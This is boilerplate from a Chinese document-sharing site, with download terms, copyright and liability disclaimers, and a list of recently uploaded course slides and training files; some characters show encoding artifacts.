1: 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
2: 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
3.本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
4. 未經(jīng)權益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
5. 裝配圖網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
6. 下載文件中如有侵權或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 藥事管理與法規(guī)楊世民第2版第一章
- 初中語法-形容詞和副詞
- 《公民的基本權利和義務》人教部編版道德與法治課件
- 五年級上冊音樂課件-豐收的節(jié)日(2)|人音版(簡譜)最新
- 企業(yè)家商業(yè)計劃培訓教程75275
- 員工保密意識及技能教育培訓課件
- [精選]CAINA肖爾布拉克營銷戰(zhàn)略規(guī)劃(PPT 174頁)5799
- 教育專題:18___跨越百年的美麗
- 北魏孝文帝的改革措施
- 教育專題:兒童防拐教案1
- 數(shù)據(jù)隔離級別
- 最新2018清新簡約工作匯報模板【ppt精美模板】
- 電子工藝第5章(精品)
- [精選]中化公司銷售培訓77824
- (連云港專版)中考歷史復習 第2單元 中國近代史 第9課時 抗日戰(zhàn)爭和人民解放戰(zhàn)爭的勝利課件 北師大版